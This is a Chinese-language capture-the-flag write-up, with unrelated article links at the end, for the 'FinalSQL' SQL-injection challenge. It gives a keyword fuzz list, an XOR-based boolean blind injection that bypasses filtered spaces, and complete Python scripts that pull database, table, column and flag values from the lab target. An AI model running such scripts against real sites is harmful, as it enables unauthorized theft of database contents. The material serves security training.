当前位置: 首页 > news >正文

[极客大挑战 2019]FinalSQL(bypass盲注)

在这里插入图片描述
这里是数字型注入,选择一个序号

fuzz

?id=1

这里过滤了很多东西
使用fuzzSQL字典,这是我自己定义编写的一个fuzz字典,内容较少

select
from
information
.
tables
where
=
'
and
"
or
|
&
union
columns
updatexml
extractvalue
database
table_name
column_name
schema_name
--
%25
like
||
&&
<
>
(
)
group_concat
database
OR
1%0A1
1%091
1%0C1
1%0D1
1%201
*
/
-
^
if
`
substr
mid
ascii
limit
ord
,
from
for
offset
in
length
concat

使用bp加载字典进行测试

在这里插入图片描述
看出被拦截的关键字相应大小为890,那么之外的就是没有被拦截的

空格被过滤了,这里使用 ^ 来计算是否为数字注入

?id=1^1
?id=1^0
?id=0^1

通过测试可以发现,除了第一个其他都执行成功,也就是说是数字型注入

在这里插入图片描述

也就是可以通过布尔注入来测试

?id=0^(测试语句)

如果测试语句为真那么整体返回真

那么我们的思路如下

  • 得到所有数据库
  • 查询指定数据库的数据表
  • 查询数据表的所有字段

使用python脚本编写,如果响应为429那么就是请求过快需要等待一会再进行请求

获取所有数据库

import requests
from time import sleep
url = "http://dd9a70f3-f3ef-42bd-8286-fe0bdccac825.node4.buuoj.cn:81/search.php?id=0^({})"
# 如果为真时的关键字匹配
base = 'Click others'
# 盲注的字符集
chars = ',abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'inject = "ord(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{},1))={}"
for i in range(1, 1000):continue_ = Falsefor c in chars:u = url.format(inject.format(i,ord(c)))res = requests.get(u)while res.status_code == 429:sleep(1)res = requests.get(u)if base in res.text:print(c,end='',flush=True)continue_ = Truebreakif not continue_:break
information_schema,mysql,performance_schema,test,geek

获取表

inject = "ord(substr((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='geek')),{},1))={}"
for i in range(1, 1000):continue_ = Falsefor c in chars:u = url.format(inject.format(i,ord(c)))res = requests.get(u)while res.status_code == 429:sleep(1)res = requests.get(u)if base in res.text:print(c,end='',flush=True)continue_ = Truebreakif not continue_:break
F1naI1y,Flaaaaag

获取列

inject = "ord(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='F1naI1y')),{},1))={}"
for i in range(1, 1000):continue_ = Falsefor c in chars:u = url.format(inject.format(i,ord(c)))res = requests.get(u)while res.status_code == 429:sleep(1)res = requests.get(u)if base in res.text:print(c,end='',flush=True)continue_ = Truebreakif not continue_:break
id,username,password

获取flag

import requests
import string
from time import sleep
url = "http://9da9cb18-3096-413a-9476-8a177ffec31a.node4.buuoj.cn:81/search.php?id=0^({})"
# 如果为真时的关键字匹配
base = 'Click others'
# 盲注的字符集
chars = string.printableinject = "ord(substr(reverse((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y))),{},1))={}"
for i in range(1, 1000):continue_ = Falsefor c in chars:u = url.format(inject.format(i,ord(c)))res = requests.get(u)while res.status_code == 429:sleep(1)res = requests.get(u)if base in res.text:print(c,end='',flush=True)continue_ = Truebreakif not continue_:break

这里使用 reverse 是因为flag在最后面,将得到的结果反转即可得到flag

}42e24a1d9455-24bb-fac4-fdf9-e863df96{galf
flag{69fd368e-9fdf-4caf-bb42-5549d1a42e24}
http://www.lryc.cn/news/157950.html

相关文章:

  • 如何实现小程序与h5页面间的跳转
  • 企业架构LNMP学习笔记9
  • 华为OD机试 - 二维伞的雨滴效应(Java JS Python)
  • 【HttpRunnerManager】搭建接口自动化测试平台操作流程
  • 【C++】STL-常用算法-常用查找算法
  • vue3 webpack打包流程及安装 (1)
  • 【C++】内联函数 ① ( 内联函数引入 | 内联函数语法 )
  • 聊聊springboot的ConfigurationProperties的绑定
  • Mysql和Oracle的语法区别?
  • F - LIS on Tree
  • 2023 年全国大学生数学建模B题目-多波束测线问题
  • qt creater11 翻译国际化教程教程:
  • 【AWS实验 】在 AWS Fargate 上使用 Amazon ECS 部署应用程序
  • matlab几种求解器的选择fsolve-sole-vpasolve
  • 无限访问 GPT-4,OpenAI 强势推出 ChatGPT 企业版!
  • MySQL的故事——Schema与数据类型优化
  • C++编译和链接
  • 【CSDN技术】Markdown编辑器如何使用-csdn博客编写入门
  • 【docker】运行redis
  • Paddle训练COCO-stuff数据集学习记录
  • SpringBoot 框架学习
  • java - lua - redis 完成商品库存的删减
  • dbeaver离线安装clickhouse连接驱动
  • 2024腾讯校招后端面试真题汇总及其解答(二)
  • datagrip 相关数据连接信息无缝迁移
  • 不就是G2O嘛
  • C#开发的OpenRA游戏之系统参数选项按钮
  • 苹果启动2024年SRDP计划:邀请安全专家使用定制iPhone寻找漏洞
  • std::make_shared和new初始化智能指针的区别
  • 无涯教程-JavaScript - ERFC.PRECISE函数